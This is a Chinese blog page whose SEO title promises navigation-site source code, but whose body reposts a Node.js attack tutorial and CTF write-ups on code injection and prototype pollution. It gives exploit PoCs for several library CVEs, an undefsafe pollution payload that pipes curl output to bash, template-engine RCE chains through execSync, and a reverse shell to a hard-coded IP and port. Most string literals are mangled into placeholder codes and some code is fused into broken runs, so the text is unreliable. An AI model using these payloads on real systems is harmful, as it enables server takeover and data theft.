123导航网站源码分享?导航网站源码html

老铁们,大家好,相信还有很多朋友对于123导航网站源码分享和导航网站源码html的相关问题不太懂,没关系,今天就由我来为大家分享分享123导航网站源码分享以及导航网站源码html的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!

前言

或许前路永夜,即便如此我也要前进,因为星光即使微弱也会为我照亮前途。————四月是你的谎言

Nodejs

介绍

简单的说Node.js就是运行在服务端的JavaScript。

Node.js是一个基于ChromeJavaScript运行时建立的一个平台。

Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

应用

第一大类:用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序第二大类:基于web、canvas等多人联网游戏第三大类:基于web的多人实时聊天客户端、聊天室、图文直播第四大类:单页面浏览器应用程序第五大类:操作数据库、为前端和移动端提供基于json?的API

特性

大小写

toUpperCase()在JavaScript中是将小写改为大写的函数

但是就是在转换大小写的过程中我们可以使用一些我们并不常见的字符来转换出我们所需要的字符来绕过过滤

&34;.toUpperCase()==&39;,&34;.toUpperCase()==&39;

那么相对应的toLowerCase()也会有相关的特性

&34;.toLowerCase()==&39;

弱类型

与php相似的数字与数字字符串比较的时候数字型字符串会被转换之后再比较

console.log(1==&39;);//true\nconsole.log(1>&39;);//false\nconsole.log(&39;<&39;);//true\nconsole.log(111>&39;);//true\nconsole.log(&39;>&39;);//false\nconsole.log(&39;>1);//false\n

最后一个字符串被转换完之后可能是0了捏

字符串与字符串相比较比第一个ASCII码

console.log([]==[]);//false\nconsole.log([]>[]);//false\nconsole.log([6,2]>[5]);//true\nconsole.log([100,2]<&39;);//true\nconsole.log([1,2]<&39;);//true\nconsole.log([11,16]<&34;);//false\n

空数组比较为false

数组之间比较第一个值如果有字符串取第一个进行比较

数组永远比非数值字符串小

console.log(null==undefined)//输出:true\nconsole.log(null===undefined)//输出:false\nconsole.log(NaN==NaN)//输出:false\nconsole.log(NaN===NaN)//输出:false\n

变量拼接

console.log(5+[6,6]);//56,6\nconsole.log(&34;+6);//56\nconsole.log(&34;+[6,6]);//56,6\nconsole.log(&34;+[&34;,&34;]);//56,6

ES6模板字符串

我们可以使用反引号替代括号执行函数可以用反引号替代单引号双引号可以在反引号内插入变量模板字符串是将字符串作为参数传入函数中而参数是一个数组所以数组遇到${]??字符串会被分割

varaaaa=&34;;\nconsole.log(&34;,aaaa);\n

varaaaa=&34;;\nconsole.log`hello${aaaa}world`;\n

代码注入

漏洞函数

eval()

javascript的eval作用就是计算某个字符串,并执行其中的js代码。

varexpress=require(&34;);\nvarapp=express();\n\napp.get(&39;,function(req,res){\nres.send(eval(req.query.a));\nconsole.log(req.query.a);\n})\n\napp.listen(1234);\nconsole.log(&39;);\n

我们可以看到我们在上面的源码中使用了eval函数

process的作用是提供当前node.js进程信息并对其进行控制。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

spawn()启动一个子进程来执行命令spawn(命令,{shell:true})

?exec()?:启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。

execFile():启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行shell命令,类似exec。

?fork()?:与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行js文件,实际利用中需要提前写入恶意文件

settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function处为我们可控的参数。

varexpress=require(&34;);\nvarapp=express();\n\nsetTimeout(()=>{\nconsole.log(&39;Hacked&34;);\n},2000);\n\nvarserver=app.listen(1234,function(){\nconsole.log(&34;);\n})\n

setinterval()

setinterval(function,time),该函数的作用是每个两秒执行一次代码。

varexpress=require(&34;);\nvarapp=express();\n\nsetInterval(()=>{\nconsole.log(&39;Hacked&34;);\n},2000);\n\n\nvarserver=app.listen(1234,function(){\nconsole.log(&34;);\n})\n

function()

function(string)(),string是传入的参数,这里的function用法类似于php里的create_function。

varexpress=require(&34;);\nvarapp=express();\n\nvaraaa=Function(&39;Hacked&34;)();\n\nvarserver=app.listen(1234,function(){\nconsole.log(&34;);\n})\n

process模块命令执行

?exec?:

require(&39;).exec(&39;);\n

execFile

require(&39;).execFile(&34;,{shell:true});\n

fork

require(&39;).fork(&34;);\n

spawn

require(&39;).spawn(&34;,{shell:true});\n

反弹shell

require(&39;).exec(&39;);\n\n注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)\n

PS:如果上下文中没有require(类似于Code-Breaking2018Thejs),则可以使用global.process.mainModule.constructor._load(&39;).exec(&39;)??来执行命令

文件操作

那么在上面我们已经可以执行我们像执行的代码了那么对于文件的操作也是很好实现的

操作函数后面有Sync代表同步方法

nodejs文件系统模块中的方法均有异步和同步版本比如读取文件内容的函数有异步的fs.readFile()和同步的fs.readFileSync()。

异步的方法函数最后一个参数为回调函数回调函数的第一个参数包含了错误信息

建议使用异步方法性能更高速度更快

增删查改

res.end(require(&39;).readdirSync(&39;).toString())\n

res.end(require(&39;).writeFileSync(&39;,&39;).toString());\n

res.end(require(&39;).readFileSync(&39;).toString());\n

res.end(require(&39;).rmdirSync(&39;).toString());\n

原型链污染step1

原型链污染就是我们控制私有属性(proto)指向的原型对象(prototype),将其的属性产生变更那么所继承她的对象也会拥有这个属性

prototype和proto分别是甚么

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

functionFoo(){\nthis.bar=1\n}\n\nnewFoo()\n

Foo函数的内容就是Foo类的构造函数而this.bar就是Foo类的一个属性

为了简化编写JavaScript代码,ECMAScript6后增加了class??语法,但class??其实只是一个语法糖。

一个类中必然有一些方法类似属性this.bar我们也可以将方法定义再构造函数内部

functionFoo(){\nthis.bar=1\nthis.show=function(){\nconsole.log(this.bar)\n}\n}\n\n(newFoo()).show()\n

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show=function…??就会执行一次,这个show??方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法这时候就要使用prototype了

functionFoo(){\nthis.bar=1\n}\n\nFoo.prototype.show=functionshow(){\nconsole.log(this.bar)\n}\n\nletfoo=newFoo()\nfoo.show()\n

我们可以认为原型prototype是类Foo的一个属性而所有用Foo类实例化的对象都将拥有这个属性中的所有内容而所有用Foo类实例化的对象都将拥有这个属性的所有内容包括变量和方法比如上面的foo对象其天生就具有foo.show()方法

我们可以通过Foo.prototype来访问Foo类的原型但是Foo实例化出来的对象是不能通过prototype访问原型的那么这个时候就该__proto__??登场了

一个Foo类实例化出来的foo对象可以通过foo.__proto__??属性来访问Foo类的原型

foo.__proto__==Foo.prototype\n

所以,总结一下:

?prototype??是一个类的属性,所有类对象在实例化的时候将会拥有prototype??中的属性和方法一个对象的__proto__??属性,指向这个对象所在的类的prototype??属性

JavaScript原型链污染

所有类对象在实例化的时候都会拥有prototype中的属性和方法这个特性被用来实现JavaScript中的继承机制

suchas

functionFather(){\nthis.first_name=&39;\nthis.last_name=&39;\n}\n\nfunctionSon(){\nthis.first_name=&39;\n}\n\nSon.prototype=newFather()\n\nletson=newSon()\nconsole.log(`Name:${son.first_name}${son.last_name}`)\n

Son类继承了Father类的last_name属性最后输出的是Name:MelaniaTrump?

对于对象son在调用son.last_name的时候实际上JavaScript引擎会进行如下操作

在对象son中寻找last_name找不到则在son.proto中寻找last_name如果仍然找不到则继续在son.proto.proto中寻找last_name依次寻找直到找到null结束比如Object.prototype的proto都是null

JavaScript的这个查找的机制被应用在面向对象的继承中被称作prototype继承链

综上需要记住以下几点

每个构造函数(constructor)都有一个原型对象(prototype)对象的proto属性指向类的原型对象(prototype)JavaScript使用prototype链实现继承机制

什么是原型链污染

一个demo

//foo是一个简单的JavaScript对象\nletfoo={bar:1}\n\n//foo.bar此时为1\nconsole.log(foo.bar)\n\n//修改foo的原型(即Object)\nfoo.__proto__.bar=2\n\n//由于查找顺序的原因,foo.bar仍然是1\nconsole.log(foo.bar)\n\n//此时再用Object创建一个空的zoo对象\nletzoo={}\n\n//查看zoo.bar\nconsole.log(zoo.bar)\n

这个语句到最后zoo.bar的结果是2虽然zoo是一个空对象

而这个的原因也就是在前面我们修改foo的原型foo.proto.bar=2而foo是一个Object类的实例所以实际上是修改了Object这个类给这个类增加了一个属性bar值为2

后来我们又用Object类创建了一个zoo对象那么这个zoo对象自然也有一个bar属性了

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

简单易懂的说就是儿子改了老子也被传染了然后其所再产生的儿子也是这个属性了

demo2

object1={&34;:1,&34;:2};\nobject1.__proto__.foo=&34;;\nconsole.log(object1.foo);\nobject2={&34;:1,&34;:2};\nconsole.log(object2.foo);\n

o1和o2相当于继承了Object.prototype所以当我们对一个对象设置foo属性就造成了原型链污染导致Object2也拥有了foo属性

那些情况下会有原型链污染

如果我们需要利用原型链污染那我们就需要设置__proto__??的值也就是需要找到能控制数组的键名的操作最常见的就是mergeclonecopy

merge方法是合并对象的方法合并两个对象或者多个对象的属性

clone方法就是克隆捏

functionmerge(target,source){\nfor(letkeyinsource){\nif(keyinsource&&keyintarget){\nmerge(target[key],source[key])\n}else{\ntarget[key]=source[key]\n}\n}\n}\n

在合并的过程中存在赋值的操作target[key]=source[key]那么这个key如果是proto是不是就可以进行原型链污染

我们用如下代码试一下啊

leto1={}\nleto2={a:1,&34;:{b:2}}\nmerge(o1,o2)\nconsole.log(o1.a,o1.b)\n\no3={}\nconsole.log(o3.b)\n

可以看到这样写并没有进行污染但是二者合并了

这是因为我们用JavaScript创建o2的过程{a:1,&34;:{b:2}}??中proto已经代表o2的原型了此时遍历o2所有键名你拿到的是[a,b]proto并不是一个key自然也不会修改Object的原型

那么我们的任务就变成了让proto被认为是一个键名

leto1={}\nleto2=JSON.parse(&34;a&34;__proto__&34;b&39;)\nmerge(o1,o2)\nconsole.log(o1.a,o1.b)\n\no3={}\nconsole.log(o3.b)\n最终输出\n12\n2\n

向上面这么写最后会完成污染这是因为json解析的时候proto会被认为成一个真正的键名而不代表原型所以在遍历o2的时候会存在这个键

但是我们输出a为undefined

上面o1o2输出a为1是因为merge对二者进行了融合但是并没有进行污染

Undefsafe模块原型链污染(CVE-2019-10795)

varobject={\na:{\nb:{\nc:1,\nd:[1,2,3],\ne:&39;\n}\n}\n};\nconsole.log(object.a.b.e)\n\nconsole.log(object.a.c.e)\n

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

undefsafe可以帮我们解决这个问题

她还有一个功能在对对象赋值时如果目标属性存在其可以帮助我们修改对应属性的值

当属性不存在的时候我们可以对属性赋值

这个需要下载undefsafe小于2.0.3的版本

我们可以发现当我们可以控制undefsafe函数的第23个参数的时候我们可以污染object中的值

vara=require(&34;);\nvartest={}\na(test,&39;,function(){return&39;})\nconsole.log(&39;+test)\n

我们可以看到上面成功的进行了原型链污染

因为在在上面污染了toString因为在当前对象中找不到于是需要向上溯源

最后在进行thisis和test拼接的时候触发了tostring造成了原型链污染

在2.0.3后的版本加上了下面的限制

应该是对于其修改Object中本身的属性做出了限制所以不能进行污染了

审计

split()

functionsplitStr(str,separator){\n\n//Functiontosplitstring\nvarstring=str.split(separator);\n\nconsole.log(string);\n}\n\n//Initializestring\nvarstr=&34;;\n\nvarseparator=&34;;\n\n//Functioncall\nsplitStr(str,separator);\n\nOutput:\n[&39;,&39;,&39;,&39;,&39;]\n

Array.prototype.filter()

?filter()??方法會建立一個經指定之函式運算後,由原陣列中通過該函式檢驗之元素所構成的新陣列。

constwords=[&39;,&39;,&39;,&39;,&39;,&39;];\n\nconstresult=words.filter(word=>word.length>6);\n\nconsole.log(result);\n//expectedoutput:Array[&34;,&34;,&34;]\n

相当于一个过滤器

Array.prototype.slice()

?slice()??方法會回傳一個新陣列物件,為原陣列選擇之begin??至end??(不含end??)部分的淺拷貝(shallowcopy)。而原本的陣列將不會被修改。

constanimals=[&39;,&39;,&39;,&39;,&39;];\n\nconsole.log(animals.slice(2));\n//expectedoutput:Array[&34;,&34;,&34;]\n\nconsole.log(animals.slice(2,4));\n//expectedoutput:Array[&34;,&34;]\n\nconsole.log(animals.slice(1,5));\n//expectedoutput:Array[&34;,&34;,&34;,&34;]\n\nconsole.log(animals.slice(-2));\n//expectedoutput:Array[&34;,&34;]\n\nconsole.log(animals.slice(2,-1));\n//expectedoutput:Array[&34;,&34;]\n\nconsole.log(animals.slice());\n//expectedoutput:Array[&34;,&34;,&34;,&34;,&34;]\n

这是相当于一个数组切割的工具

Array.prototype.join()

join()方法會將陣列(或一個類陣列(array-like)物件)中所有的元素連接、合併成一個字串,並回傳此字串。

constelements=[&39;,&39;,&39;];\n\nconsole.log(elements.join());\n//expectedoutput:&34;\n\nconsole.log(elements.join(&39;));\n//expectedoutput:&34;\n\nconsole.log(elements.join(&39;));\n//expectedoutput:&34;\n

Merge类操作导致原型链污染

原型链污染的主要思想实际上就是寻找能够操纵键值的位置然后利用proto来向上污染

constmerge=(a,b)=>{//发现merge危险操作\nfor(varattrinb){\nif(isObject(a[attr])&&isObject(b[attr])){\nmerge(a[attr],b[attr]);\n}else{\na[attr]=b[attr];\n}\n}\nreturna\n}\n\nconstclone=(a)=>{\nreturnmerge({},a);\n}\n

在上面我们使用了merge进行操作merge方法用在merge操作以及clone操作中

我们可以利用merge来合并两个复杂的对象用clone创建一个和现在对象相同的对象

functionmerge(target,source){\nfor(letkeyinsource){\nif(keyinsource&&keyintarget){\nmerge(target[key],source[key])\n}else{\ntarget[key]=source[key]\n}\n}\n}\n\nletobject1={}\nletobject2=JSON.parse(&34;a&34;__proto__&34;b&39;)\nmerge(object1,object2)\nconsole.log(object1.a,object1.b)\n\nobject3={}\nconsole.log(object3.b)\n

merge有着合并的作用

functionmerge(target,source){\nfor(letkeyinsource){\nif(keyinsource&&keyintarget){\nmerge(target[key],source[key])\n}else{\ntarget[key]=source[key]\n}\n}\n}\n\nfunctionclone(a){\nreturnmerge({},a);\n}\n\nletobject1=JSON.parse(&34;a&34;__proto__&34;b&39;);\n\nclone(object1)\nconsole.log(object1.a);\nconsole.log(object1.b);\n\n\nobject2={}\nconsole.log(object2.b)\n

clone也是一样的

merge.recursiveMergeCVE-2020-28499

影响2.1.1以下的merge版本

constmerge=require(&39;);\n\nconstpayload2=JSON.parse(&34;x&34;__proto__&34;polluted&34;yes&39;);\n\nletobj1={x:{y:1}};\n\nconsole.log(&34;+obj1.polluted);\nmerge.recursive(obj1,payload2);\nconsole.log(&34;+obj1.polluted);\nconsole.log(&34;+{}.polluted);\n

我们可以审计以下源码看一下这里merge的漏洞出现在哪里

在此处进行了修复

?

lodash模块原型链污染

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。

lodash.defaultsDeep方法CVE-2019-10744

此漏洞影响小于4.17.12版本的lodash

lodash库中的defaultsDeep函数可能会被包含constructor的payload诱骗添加或修改Object.prototype最终导致污染

漏洞发现者给出的poc

constmergeFn=require(&39;).defaultsDeep;\nconstpayload=&34;constructor&34;prototype&34;whoami&34;Vulnerable&39;\n\nfunctioncheck(){\nmergeFn({},JSON.parse(payload));\nif(({})[`a0`]===true){\nconsole.log(`VulnerabletoPrototypePollutionvia${payload}`);\n}\n}\n\ncheck();\n

我们加上一个输出可以验证一下是否收到了污染

在这里已经污染到原型了

其实constructor就可以理解为实例化出来对象的时候会触发于是便可以造成污染

在修复方法中是直接将constructorcheck掉了可以进行防御

lodash.merge方法CVE-2018-3721

merge是与上面所提到的merge是相差无几的

在其中调用了baseMerge

在这里没有直接调用查找baseMergeDeep

调用assignMergeValue???

这是一个经过了过滤的版本之前没有过滤的版本是在这里直接可以控制键值对

这个版本中就是将过滤放到了baseAssignValue不改变proto便可以进行赋值

在lodash4.17.5之前的版本中存在这个漏洞

lodash.mergeWith方法CVE-2018-16487

4.17.11之前的版本存在这个漏洞

varlodash=require(&39;);\nvarpayload=&34;__proto__&34;polluted&34;yes&39;;\n\nvara={};\nconsole.log(&34;+a.polluted);\nlodash.mergeWith({},JSON.parse(payload));\nconsole.log(&34;+a.polluted);\n

这个方法也是依靠baseMerge大致和上面的差不多

lodash.set方法以及setWith方法CWE-400

lod=require(&39;)\nlod.setWith({},&34;,&34;)\nlod.set({},&34;,&34;)\nconsole.log(Object.prototype)\n

set类开始

跟进baseSet

跟进assignValue???

跟进baseAssignValue???

当key不为proto时可以触发赋值

lodash.zipObjectDeep方法CVE-2020-8203

在lodash4.17.20之前的版本适用

poc

const_=require(&39;);\n_.zipObjectDeep([&39;],[123])\nconsole.log(z)//123\n

查看源码

跟进baseZipObject?

在此处利用到了assign函数

就是可以进行覆盖的一个函数

在这里我们demo中传入的值,前者给到prop,后者给到values

然后prop取其中的属性,适用values覆盖,便达到了目的

safe-obj原型链污染CVE-2021-25928

varsafeObj=require(&34;);\nvarobj={};\nconsole.log(&34;+{}.polluted);\nsafeObj.expand(obj,&39;,&39;);\nconsole.log(&34;+{}.polluted);\n

从poc中可以看出是在safeObj的expand里面存在漏洞那么我们直接可以看这部分的源码

关于path的解释如下

词如其名就是所使用的文件的路径

在此处先是对传入的path进行split在demo中就是分为了[__proto__,polluted]??然后在此处判断props的length

在此处数组中是由[__proto__,polluted]??组成的length为1所以proto等于thing造成原型链污染

注意此处数组中有两个元素的时候length为1

safe-flat原型链污染CVE-2021-25927

poc

2.0.0到2.0.1存在漏洞

varsafeFlat=require(&34;);\nconsole.log(&34;+{}.polluted);\nsafeFlat.unflatten({&34;:&34;},&39;);\nconsole.log(&34;+{}.polluted);\n

漏洞点如上

typeof的作用如上

isDate的作用是判断是否为时间对象

forEach

reduce方法

jQuery原型链污染CVE-2019-11358

poc:

varjquery=document.createElement(&39;);\njquery.src=&39;;\n\nletexp=$.extend(true,{},JSON.parse(&34;__proto__&34;exploit&34;fake_s0u1&39;));\nconsole.log({}.exploit);\n

注意在镜像库中的jquery都是小写的虽然在产品名中有大写npm是区分大小写的

console.table原型链污染CVE-2022-21824

Node.js<12.22.9,<14.18.3,<16.13.2,and<17.3.1

poc:

console.table([{a:1}],[&39;])\nconsole.table([{x:1}],[&34;]);\n

原型链污染step2

我们对原型链污染进行污染的目的就是要进行rce

lodash.template进行rce

Lodash.template是Lodash中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中“interpolate”分隔符相应的位置

在lodash中options对象的sourceURL

options是一个对象sourceURL是通过下面的语句定义的是通过了一个三目运算法赋值取到了其options.sourceURL??属性其默认没有此属性所以其默认也为空

varsourceURL=&39;inoptions?&sourceURL=&39;\\n&39;&39;child_process&34;__proto__&34;sourceURL&34;\\nreturne=>{for(varain{}){deleteObject.prototype[a];}returnglobal.process.mainModule.constructor._load(&39;).execSync(&39;)}\\n//&34;outputFunctionName&34;_tmp1;global.process.mainModule.require(\\&39;).exec(\\&39;);var__tmp2&34;__proto__&34;compileDebug&34;self&34;line&34;console.log(global.process.mainModule.require(&39;).execSync(&39;))&39;fs&39;/app/routes/index.js&39;express&39;/&39;html&39;string&39;index&39;tql&39;index&39;child_process&39;cat&39;fl001g.txt&39;child_process&39;exe&39;cSync&39;ls&39;fs&39;.&39;fs&39;fl001g.txt&39;express&39;crypto&39;md5&39;hex&39;/&39;html&39;xxxxxxx&39;index&39;tql&34;__proto__&34;ctfshow&34;36dboy&39;{&34;:{&34;:&34;}}&34;__proto__&34;cmd&34;bash-i>&/dev/tcp/1.13.251.106/40000>&1&39;express&39;path&39;undefsafe&39;child_process&34;whoknows&34;author&34;raw_note&39;.author&39;.raw_note&34;nobody&34;thisisnobody&34;);\n\n\napp.set(&39;,path.join(__dirname,&39;));\napp.set(&39;,&39;);\n\napp.use(express.json());\napp.use(express.urlencoded({extended:false}));\napp.use(express.static(path.join(__dirname,&39;)));\n\n\napp.get(&39;,function(req,res,next){\nres.render(&39;,{title:&39;});\n});\n\napp.route(&39;)\n.get(function(req,res){\nres.render(&39;,{message:&39;});\n})\n.post(function(req,res){\nletauthor=req.body.author;\nletraw=req.body.raw;\nif(author&&raw){\nnotes.write_note(author,raw);\nres.render(&39;,{message:&34;});\n}else{\nres.render(&39;,{message:&34;});\n}\n})\n\napp.route(&39;)\n.get(function(req,res){\nres.render(&39;,{message:&34;});\n})\n.post(function(req,res){\nletid=req.body.id;\nletauthor=req.body.author;\nletenote=req.body.raw;\nif(id&&author&&enote){\nnotes.edit_note(id,author,enote);\nres.render(&39;,{message:&34;});\n}else{\nres.render(&39;,{message:&34;});\n}\n})\n\napp.route(&39;)\n.get(function(req,res){\nres.render(&39;,{message:&34;});\n})\n.post(function(req,res){\nletid=req.body.id;\nif(id){\nnotes.remove_note(id);\nres.render(&39;,{message:&34;});\n}else{\nres.render(&39;,{message:&34;});\n}\n})\n\napp.route(&39;)\n.get(function(req,res){\nletq=req.query.q;\nleta_note;\nif(typeof(q)===&34;){\na_note=notes.get_all_notes();\n}else{\na_note=notes.get_note(q);\n}\nres.render(&39;,{list:a_note});\n})\n\napp.route(&39;)\n.get(function(req,res){\nletcommands={\n&34;:&34;,\n&34;:&34;\n};\nfor(letindexincommands){\nexec(commands[index],{shell:&39;},(err,stdout,stderr)=>{//此处执行command代码\nif(err){\nreturn;\n}\nconsole.log(`stdout:${stdout}`);\n});\n}\nres.send(&39;);\nres.end();\n})\n\n\napp.use(function(req,res,next){\nres.status(404).send(&39;);\n});\n\n\napp.use(function(err,req,res,next){\nconsole.error(err.stack);\nres.status(500).send(&39;);\n});\n\n\nconstport=8080;\napp.listen(port,()=>console.log(`Exampleapplisteningathttp://localhost:${port}`))\n

在上面的源码中涉及到undefsafe的使用也就是说只要我们可以控制其第23个参数便可以达到原型链污染的目的

在上面存在undefsafe的调用的只有两处第一处在edit_note另一处在get_note

在edit的路由中

其实是三个参数都是可以控制的那么这里存在被污染的可能那么我们可以通过此处对上面定义的note_list进行污染然后再去status路由下进行命令执行

edit_note(id,author,raw){\nundefsafe(this.note_list,id+&39;,author);\nundefsafe(this.note_list,id+&39;,raw);\n}\n

在此处我们看到edit中的参数id参数是在undefsafe的第二个参数位置上的author和raw是在第三个参数上的

我们在这里将id赋值为我们想要污染的属性后面为污染的值

而在command处则是对于其中可能存在的命令进行遍历然后执行也就是我们可以随意的污染属性从而达到执行命令的目的

payload:id=__proto__.aaa&author=curlIP|bash&raw=1\n

反弹shell

[GYCTF2020]Ez_Express

varexpress=require(&39;);\nvarrouter=express.Router();\nconstisObject=obj=>obj&&obj.constructor&&obj.constructor===Object;\nconstmerge=(a,b)=>{\nfor(varattrinb){\nif(isObject(a[attr])&&isObject(b[attr])){\nmerge(a[attr],b[attr]);\n}else{\na[attr]=b[attr];\n}\n}\nreturna\n}\nconstclone=(a)=>{\nreturnmerge({},a);\n}\nfunctionsafeKeyword(keyword){\nif(keyword.match(/(admin)/is)){\nreturnkeyword\n}\n\nreturnundefined\n}\n\nrouter.get(&39;,function(req,res){\nif(!req.session.user){\nres.redirect(&39;);\n}\nres.outputFunctionName=undefined;\nres.render(&39;,data={&39;:req.session.user.user});\n});\n\n\nrouter.get(&39;,function(req,res){\nres.render(&39;);\n});\n\n\n\nrouter.post(&39;,function(req,res){\nif(req.body.Submit==&34;){\nif(safeKeyword(req.body.userid)){\nres.end(&39;forbidword&34;)\n}\nreq.session.user={\n&39;:req.body.userid.toUpperCase(),\n&39;:req.body.pwd,\n&39;:false\n}\nres.redirect(&39;);\n}\nelseif(req.body.Submit==&34;){\nif(!req.session.user){res.end(&39;registerfirst&34;)}\nif(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){\nreq.session.user.isLogin=true;\n}\nelse{\nres.end(&39;errorpasswd&34;)\n}\n\n}\nres.redirect(&39;);;\n});\nrouter.post(&39;,function(req,res){\nif(req.session.user.user!=&34;){res.end(&39;ADMINisasked&34;)}\nreq.session.user.data=clone(req.body);\nres.end(&39;success&34;);\n});\nrouter.get(&39;,function(req,res){\nres.render(&39;,data={&39;:res.outputFunctionName});\n})\nmodule.exports=router;\n

www.zip源码泄露以上为index.js源码

上面定义了merge方法

在此处调用了clone存在原型链污染的可能在上面clone将传入的值与空白对象进行merge操作

在下面的info路由中将c???渲染到了index中而且在上面outputFunctionName???还是未定义的属性我们可以尝试污染这个属性

基本理顺了但是在尝试访问action路由的时候我们发现只有admin才能访问那么我们需要尝试以admin来登录我们在register路由中

看到toUpperCase方法这里可以想到在ctfshow中学习到的JavaScript的特性toUpperCase存在

&34;.toUpperCase()==&39;,&34;.toUpperCase()==&39;\n

以上的漏洞我们可以借此伪造admin登录

userid=adm?n&pwd=123&Submit=register\n

登录之后就可以按照我们上面的思路进行原型链污染

{&34;:&34;,&34;:{&34;:&39;child_process&39;id&34;},&34;:&34;}\n

[湖湘杯2021final]vote

给出源码

constpath=require(&39;);\nconstexpress=require(&39;);\nconstpug=require(&39;);\nconst{unflatten}=require(&39;);\nconstrouter=express.Router();\n\nrouter.get(&39;,(req,res)=>{\nreturnres.sendFile(path.resolve(&39;));\n});\n\nrouter.post(&39;,(req,res)=>{\nconst{hero}=unflatten(req.body);\n\nif(hero.name.includes(&39;)||hero.name.includes(&39;)||hero.name.includes(&39;)||hero.name.includes(&39;)){\nreturnres.json({\n&39;:pug.compile(&{user},thankforyourvote!&39;Guest&39;response&39;Pleaseprovideuswithcorrectname.&34;__proto__.block&34;type&34;Text&34;line&34;process.mainModule.require(&39;).execSync(`bash-c&39;`)&34;__proto__.hero&34;name&34;菲奥娜&34;__proto__.block&34;type&34;Text&34;line&34;process.mainModule.require(&39;).execSync(&39;)”\n}\n}}\n

Ending

?参考文章

https://xz.aliyun.com/t/11791

https://forum.butian.net/share/1561

https://nodejs.org/zh-cn/docs

from:https://xz.aliyun.com/t/12383

关于123导航网站源码分享的内容到此结束,希望对大家有所帮助。

Published by

风君子

独自遨游何稽首 揭天掀地慰生平